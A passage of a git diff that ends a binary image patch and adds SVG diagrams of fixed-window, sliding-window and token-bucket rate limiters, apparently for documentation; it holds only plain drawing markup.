z`VOP?E6%EN*zFZ}pRwSO&*}wk9IODXOy2=0M?-)91f~9m55Ja{mdsoHnTh3L8d8E>
zB~_>=Qc_Z<zQlmNqod*2@X{-+zWX!F`FVX^*S`%uJ)_QGgzqp(N5p)r+@7EYqM{|h
zTY+O%R7hy5)uRxFYHVmwV5SfnAH$wW-<4nZ^i|ON_gbJwt1|iV4pzNzC@Ik>C@4ko
zBsnQbSy9Rh&hQqD2Iw$DGMWRf{co3n@~g$?;Qa*H>vz%?=5li8=9(}KL}_@}st#*0
zOx<BE?>=9s{QNQ(l;%(7WD~SP;$&M<K|w@FNMWW`&~tUpTKUdwleY{+Qj$X=+!0k7
zIc8G<hkF8GS;62rthaqi64aOBOulgt9uA2nbnC?S?dQa`QXkbZFUYYA`E6a%2N048
z^uc}l>I$7VDyyAGP9VnLY$W~A05=u-W%5y}A9#tmx^%1D+u0P~#s*;fV0L!cHFG^8
zbR#$HSk29CFY1fT@%q`1z^hC0&B<z)9|c{pnfCVfr1T;`2dB(HpwrP|5o03+s;a6(
z%EPZ(FQD1lM*3#WUeoVU>yC<qVJkR!Vni)u=T8RZ+p}9C-<k7&WzEf<oOE_{+`mT?
z<K|rrdKZi|>`LcJ1_ohaVW8O5*v@y^EH%4SzOSceU_cENRaCT5-$lRcK&^f@>e?pX
z-*-Ph!4W?=HLcs)O_e^dRUm+8rJ~l0KK;1QckZyTRNUi_TOL0Mz4LDbiK{MwBdFo%
zXk*kh^cu+=d5etXU_TYNU?Tu$<hgmBU`NB3YN4-x@BXzuOv8EU*WDCeLfcoi8W{qd
z+!wYwmf5xNu|a6X@87@A57*dOdHhahq}bS!kw|bnBo@4X9~}JdZ!|raI$$E&!v3I8
zPw)cujK3tLVZAq1oSmJYKYy<3*8Rl;%Ow47_>~2pIeX;gC3EORT3!JMke8od|5fzD
zFtq-preE8Q9ho@ky-h)&o+@OyozB$r`}d<qE`@mo1NJqdwY6y?r3pz%s#<CmO)eqY
zk3mwHD*VH5JAFL;MPFIk-E2!yFrP-UvN9&?TX?y8e*GeDbIVosCIa4UZfk?aurMN7
z`*C8@CpvM@UA~^=2EQ2BD!xkP7z!Nee}|Ly(NWv8iZ=ChfoM~U>-?_$3Jv-(MMWvJ
z`_Y4=!jF}Eb<SyBZ=;+*AG!+vIWdA;wPpKEj`jVW$OeWp14Rx1(x&d_M)&g7tDmm~
z$jC^WTMEO%-dlS<f_#LW{%Ik6U6&kP`%l}n9m>wY#pg=nD9VklA|oPRxVd%re)!<c
zST9ek8sU2U2b91QBcgsQF%<G!xBlP2=egC)@bJLs)!=hkVuUhil$ew=^RJzK*9r!8
z3>6ZDyZ=>5@BbRN{!;<`|GE6R)#xxmV2iXwbaeFPr4~`T#7Q5ovU0cqm%pq1T&$<Z
z^&#&+s$@8(UzlG2yVXodML&t7`TM$zVX{tIOJ%AGK3Nz=P+Nu{u)X&3Z}uK0I<0Od
zV0SJ<e0p=MKpmM^QDLEL;(oS2GPl8!=^drguA=L!D=Dc&6#m}O{aG{{Xk$99>pzIT
z`OP(fmr*JLRf-z4bsGN*7T!!NjB43=d0WxHL9C${EuCydV0)JC0sRA`pnj>Vs<BV_
zlqDjUJK$LZ_dehJFV;<P!(ZNNPy$}s<OQqtwV7My3Sf}78Y~|A^JU0EXadARK7Mlu
z9fVKH=G80qs3Xa@rz+N}*Z!I~oUilW4sdQNdYt~uaw_j5mGANDfV?kQxNxi<C%qYh
z6BK9n+QN~Yoi*StprK_Q?8FV!ce}Bo=Q|rU4hcK60dpH0M1bl?Rb5Y9Vs}D&`wz6)
z43_?J{A0>w<dK<+uWx4@OUMmA3r<c>JU~1{+O0h_Vt@ZP%8`eM2bBuC&3Au<!&hG#
z85__s`fnV50caxOt8<wI6dqWfw@0|z_XV9n2tTkO%VSiNmz|xB-o6zXffuMW2*?^J
z!Uuou9ZzpAEiVlY4qi#VdCVnoUYM`ud$dggnAX3hl-j+zB%&8}-5ROJ?(_tRdHunl
zGZV6d{4I4pfm-Q@vJQ|{UM}r7O3KA`o6v`FodPWSxU?@FpAN>gwz|m4S>7J#wyG3Q
z`<yP#&~HTPc3xM1BII%Vpy99W^}NEY7)g_p0*9(h8x<&fLE2gP;yo!{UU9M8%9PK{
z^>gh{9jStLG$~z8zC1-=zrI}vbpsg!D1^xwq)}PSGS;1*z~}SD*X#-C9y_gsf#QOK
z@{*FFAC>1zB#VSMzW07m0cb@$zvkvXKTP->*Z-82HCMRAuz&4vBRiWf-W>QgUX88a
z`djPV#cR<<m7{T&fZzH(RL9a1OaVs}s_mjVs>2HJn`_(EYddQM?r@w{8G$x4cXr-d
z3#{Hc>qU%_l9CDu4PR<KlnB^9tSd|7=J_*QoRwRG4~U_CqS-1eQbvY{S2yaG#mI1-
zD*spzk^`a?&%QJO07UZt)&eMZ9qwS?@$c>|<Se)$ksTduEG(Ag_(ZzYPsAQ#DyfQ{
z#l+B&So}tbXQA)Ilob@jkG7`kwJN}WY@2-gMqh@ShK5sBBz4>M3+JVkl`_*dPELLj
zKr>wu4q`~BI9OSJKuZf@Yx%|ZxTbFV!F{IdO`jV8EiLU^t+Xc-6C)*Z0Sw}#fI4UA
zhr2)2CA?!|V|T13&bFuhpylTHfSTHE55a1uv0X}2zccJWZdKLT_&8df{fEuBz-anW
z9<v%DE{UefU{bvY0O(vO#G)#&zkmPo->!Vr&Ef-+U;itPt<Bek>gjRmsi@M@n)4RU
zyzHRwAkOvv=`~190s`~%RFZZkz2|nn%XBp~EiYp;#SXTk&y~8gPSw-|yJ8tkG0P$|
zZwiOjLWt1En`a@&^70(87V_07qKwX2!<npBN9Q{pps08T7R5$3pq=cUU{4^bf&%NG
zlQNDfEp9lrq;ICDZ$5N92LV+xL%gx!P{w_@zEU2BkOEZH)I1cnl?1*-O*BqmB=sS3
zkj+0C@kk_SDTOdfJ)E9aT3%V1Zl>mJ9IL7BX3T`KXGG)oA<q#VjsSCDmRB(f_4KoP
zkSwSG3Q(vCvvUkm`rt%{fq`MDyC}D?Yf?GO-{Pt#oyjggztDB2YOAx?G^aPhavG<x
z?&x^s-xb3o(LS%gJ>6unS<v4FCb*%2&Rw2v42B4hf@O44Qd8T2NsvA@g^_v&5rYUw
z;ms{|>)i+n?65k^l;oixR`3=(@c^wpuzVUB)tr%(Fl3}zICP)KOk3~3c5GWpo!#SV
zipg|)VJ@51jMufaurQ{sE+@z8j&fI*R!%JAk%o$TX?gKkJyM$(kbP$sf4n_X-Q4`{
zINc|K-H*qp;n|&?fdF20_Mx9YA%a|{HD5u82-Kn$GKHO#*j7zpVd0M?A2Yo@RpM0~
zeOK<^dnoC-1llYonLfOJFmeD~F;G)kYu;kzV|`|X;Ro#||EsI|M~|2krRwVIHzw=7
zdthcbiMa1^siHewAO&e`6vvm6qBq@`{}E2kB%W7kvQ`59=g;k~&6tC!U-qyKjYfk;
z*W|BH<>mPA$>^-CtOkGM4|L@Wtx425e-W_BL8E;{{hHuTW5Z)(I?!|tiL}!*Mqxow
z{6MO!Lfr8hsMZyzs1m^9rxsFj{_sm6m_2HDm=G<H{YH*_G*m7)xFRjhn~vYAL2p)i
ztekLcbQD!wytcL$b9AVpqC!kUf*;7L9Aj+q8I#J-DlT59<oW2#!VUx59GD&es}x$9
zGvHE&-p|`Dw#yNrp$eH&=P5ieg%J`Gvg+E}%IeyIfzj50YdkpNRtO{LiNX2dZfjcc
z5QBvc?}hd-HKr5lEJKi|Hqg?p^4tEg7Zv5LzZ%HxGOcsTb)n$@tWHSi!ybYMR93oy
zk~>w>AwK+k6<T4=Ah8{OvZvkij}9@FhfV0)Q6*$Z)Lp@M-|QYyJczcn&uVk6&{BWB
zxh}lXde~1PU&i*`L#tbHP&FRncXW}R9fZM(8kv~%+t+~Qy0*gx3V9|xEYd=$&A%^K
ziF9aS;4X2f7#a;q2d0YyObX*Y`Bm2cEHZ)|AtgYrZ2UhiGy30<43)tqr7|-;Jsq6^
zyRqYi_`&72ii@ITyp+L<f-j#xm%^$AAl!duuRRl}-)LwY>Ofq#*XH?6K6Oy?+%?vt
z0%TztNximdULuxH^Q2MB%CR{vQ_V>kNzT^R)&A2D=;=3To;W!;FiQCTsyUdPRcg-{
zYIC1vcv$B$!_2`kW=80!(c4g{l~Q3w{qUiH$I9XSkN5t4cOQLZRrS#NO*A&Fj`?L)
z=|~o?cUD=#vY?wfiwfes#A4FU$FhI?2q$wWCoeDlD4iUdZ|5{R{OW0*NV!GYe{6n5
z#SRa=!t$Gh4n+=s$H(=dV`g_qq~JL9o|ZYVozFQr3-Aq5rLLbbv?8V5w;BrADMLat
z(Dk+&y(iJMBI>HfoKJV%5wPi>B#RFl$3>0Fz@QjP`5`G7h6W8@o9R(~lxtr>_D2W{
z&!!+hp*_bjp#8?i<2(|vYzQl3l=<l2_JBA4Y`R@o_!BKiT(YU199whC>kJ>?yCF*$
zjt@lKx}{<G1B{62f4{k&iMgKM>xRS?@7rU;3RZEy4nt|ihA$NUogx0OGsB0kEj4<z
zT<O5hbb^&dj(?kS?m*rushF79%>)v#DVz|c&ve3|e?{=W2c?CR9Z|I^7ds;mE&SUq
zcRzia^xo_g79J@4mLw+4WcGq8+w~&>Mv9G`H~(XQJpmS(N&W9g^gl)oOYzCnUHR3X
g|II44m}@-M0uflQ&UFO1+zwDx)Kn;!e;NGW0O1n1CjbBd

literal 0
HcmV?d00001

diff --git a/_images/rate_limiter/fixed_window.svg b/_images/rate_limiter/fixed_window.svg
new file mode 100644
index 00000000000..83d5f6e79ac
--- /dev/null
+++ b/_images/rate_limiter/fixed_window.svg
@@ -0,0 +1,84 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="785" y="-140" width="125" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="847.5" y="-76.1187">
+        <tspan x="847.5" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="670" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="730" y="-76.1187">
+        <tspan x="730" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="520" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="580" y="-76.1187">
+        <tspan x="580" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="580" y="-150">
+      <tspan x="580" y="-150">1 hour window</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="730" y="-150">
+      <tspan x="730" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="850" y="-150">
+      <tspan x="850" y="-150">1 hour window</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/sliding_window.svg b/_images/rate_limiter/sliding_window.svg
new file mode 100644
index 00000000000..2c565615441
--- /dev/null
+++ b/_images/rate_limiter/sliding_window.svg
@@ -0,0 +1,65 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="610" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.7998" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="670" y="-76.1189">
+        <tspan x="670" y="-76.1189"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="670" y="-150">
+      <tspan x="670" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/token_bucket.svg b/_images/rate_limiter/token_bucket.svg
new file mode 100644
index 00000000000..29d6fc8f103
--- /dev/null
+++ b/_images/rate_limiter/token_bucket.svg
@@ -0,0 +1,83 @@
+<svg width="400" viewBox="483 2 463 173" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="170">
+      <tspan x="505" y="170">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="170">
+      <tspan x="565" y="170">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="170">
+      <tspan x="625" y="170">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="170">
+      <tspan x="685" y="170">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="170">
+      <tspan x="745" y="170">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="170">
+      <tspan x="805" y="170">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="170">
+      <tspan x="865" y="170">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="135" x2="945" y2="135"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="125" x2="505" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="130" x2="535" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="125" x2="565" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="130" x2="595" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="125" x2="625" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="130" x2="655" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="125" x2="685" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="130" x2="715" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="125" x2="745" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="130" x2="775" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="125" x2="805" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="130" x2="835" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="125" x2="865" y2="145"/>
